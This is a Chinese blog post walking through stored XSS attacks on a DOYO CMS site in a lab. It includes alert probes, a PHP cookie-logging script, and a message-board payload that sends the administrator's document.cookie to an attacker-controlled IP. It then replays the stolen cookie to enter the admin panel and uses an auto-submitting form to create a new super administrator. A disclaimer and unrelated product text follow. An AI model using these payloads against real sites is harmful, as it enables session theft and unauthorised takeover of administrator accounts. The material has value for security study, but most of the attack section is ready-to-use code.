DOYO网站xss漏洞测试

一、寻找xss漏洞

一般想获取最高权限,就要找存储型xss漏洞,这样的漏洞是服务器和浏览器进行数据交换的,有利于数据写入进去。一般留言板、评论区可能性最大。
1、评论区 <script>alert(1111)</script>
在这里插入图片描述
在这里插入图片描述
弹出1111,证明咱们找到评论区xss的漏洞了。并且代码也执行了。
2、留言板 aaaaa<script>alert(222)</script>
在这里插入图片描述
在这里插入图片描述
由于这个留言需要管理员审查,我们去后台看一下,有没有弹窗。
证明咱们留言板的xss漏洞也找到了。并且代码执行了。

二、利用漏洞

通过上述操作,我们会发现,评论区管理员不需要做什么,就可以简单的发上去,但是留言板需要管理员审查才可以发表上去。我们可以利用xss漏洞获取管理员权限,为了可以获取管理员权限,这次需要管理员配合我们获取(比如点击我们写的留言,查看我们留言什么的),总之为了获取管理权限,不能少了管理员。
1、我们需要获取管理员的账号和密码,但是这个除了sql注入,目前还没什么更快的办法获取到。这样我们就要思维活跃一点不能让思维困住我们,之前学过cookie和SESSID,这俩个是存储密码用的(不懂的童鞋,看我之前的博客学习一下,这里不讲)为了我们能获取到管理员的cookie。我们需要用php写一段代码:

<?php
$referer = $_SERVER['HTTP_REFERER'];//超级全局变量(告诉服务器从哪来的)获取前一个页面的url地址。
$cookie = $_GET['cookie'];//获取cookie值
$time= date ("y-m-d G-i-s A");//添加时间戳
$file = fopen('abs.txt','a+');//创建文本名字是abs.txt,权限是a+(可读写模式)
fwrite($file,"cookie:".$cookie."/n referer:".$referer."/n time:".$time);//写入文件括号里的是想要的值
fclose($file);//关闭文件
?>

2、下面就需要把这句话添加到留言板里具体代码如下:

aaa<script>window.location.href="http://10.10.87.228/qwer/test.php?cookie="+document.cookie</script>//执行获取管理员cookie的语句

这里的ip地址是自己的电脑的地址,为了是获取完cookie传回本地电脑。
注:并且这个网页是可以访问的啊,要不然接受不到cookie。
在这里插入图片描述
注:用网页直接访问是不显示任何东西的。
在这里插入图片描述
写在留言板里
然后在本地目录就会生成一个abs.txt的文件。
在这里插入图片描述

这样我们就轻易的获取到管理员的cookie了,我们用大神写好的软件进一下管理的后台。
在这里插入图片描述
地址就填网站的管理员地址,再把提交方式改成GET,然后吧咱们获取的cookie填到里面。这样我们就不要任何的账号密码就顺利的进去后台管理页面了。
在这里插入图片描述

三、利用xss漏洞添加一个超级管理员

1.我们通过burp抓包,发现添加管理员页面发现这些变量。
在这里插入图片描述

2.一个是网页提交地址,一个是提交变量的名字。这样我们就可以自己写一个html网页把这些变量重新按我们想要的结果编写。代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="http://10.10.87.172/qzm/admin.php?c=a_adminuser&a=add&run=1" method="post" name="form1">
    //一个form表单,跳转地址是服务器地址,提交方式是post。
    <input type="hidden" name="auser" value="qqq">//添加的用户名是qqq
    <input type="hidden" name="apass" value="qqq">//添加的用户密码是qqq
    <input type="hidden" name="gid" value="1">//添加的我用户组是1
    <input type="hidden" name="level" value="1">//添加的用户权限是1
    <button type="submit" name="ok">123456</button>//提交按钮
</form>
<script>
    document.form1.submit();//执行提交动作
</script>
</body>
</html>

3.继续利用刚才的留言板漏洞插入js代码
qzm//执行添加管理员语句
注:代码同样是可以执行的
在这里插入图片描述

注:执行过程比较快
在这里插入图片描述在这里插入图片描述
成功添加管理员qqq

免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
软件介绍1、架构轻盈,完全免费与开源 采用轻量MVC架构开发,兼顾效率与拓展性。全局高效缓存,打造飞速体验。 2、功能自由搭配,保证系统纯净 全插件机制,安装卸载全绿色操作,无残留,对系统臃肿零容忍,最小仅数百K。 3、让简洁与强大并存 强大字段自定义功能,完善的后台开关模块,不会编程也能搭建各类网站系统。 4、会员、留言、投稿神马一个不能少 不断升级完善的模块与插件,灵活的组装与自定义设置,满足你的多样需求。 5、安装、升级、备份、转移一键完成 一键安装、一键升级、一键备份、一键转移。从此,让你的网站维护变得如此轻松。 6、顶级的配套服务 超级精美的模版库,精选国内性价比、速度、安全最佳的空间,让你远离挑选的烦恼。 DOYO通用建站系统系统功能: 1、功能频道:内容频道(强大自定义功能)、留言频道 2、插件模块:会员管理、广告管理、专题管理、评论管理、链接管理等 3、系统功能:静态HTML生成、自定义模板标签、附件清理、数据备份恢复 4、在线升级:一键自动在线安全补丁升级,免除维护烦恼 5、自定义字段:强大的自定义字段功能,可按栏目、频道添加各种输入字段,包括文本、数字、单选、多选、编辑器、单附件、多附件 6、SEO优化:独立的页面SEO信息设置,方便快捷 7、HTML静态:全站纯静态生成功能 8、附件检测:自动附件清理功能,一键清除未使用多余附件,保持系统纯净 9、高效缓存:全站高效缓存机制,运行飞速体验 10、模板代码生成器:自带模板调用生成器,零基础也能快速制作模板标签 11、全功能权限设定:分组机制管理权限设定,全功能全栏目均可指定管理权限 12、数据库操作:一键备份、一键恢复、一键转移空间,方便快捷 本次更新内容: 1、框架核心升级 3、修正当前栏目tid错误 4、修正修改投稿错误 5、去除后台留言多余链接 6、修正留言自定义字段错误 升级方法: 进入系统后台 系统—>在线升级(按提示操作升级即可) 其他版本请先在线升级到20120618版,然后再次执行在线升级即可

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值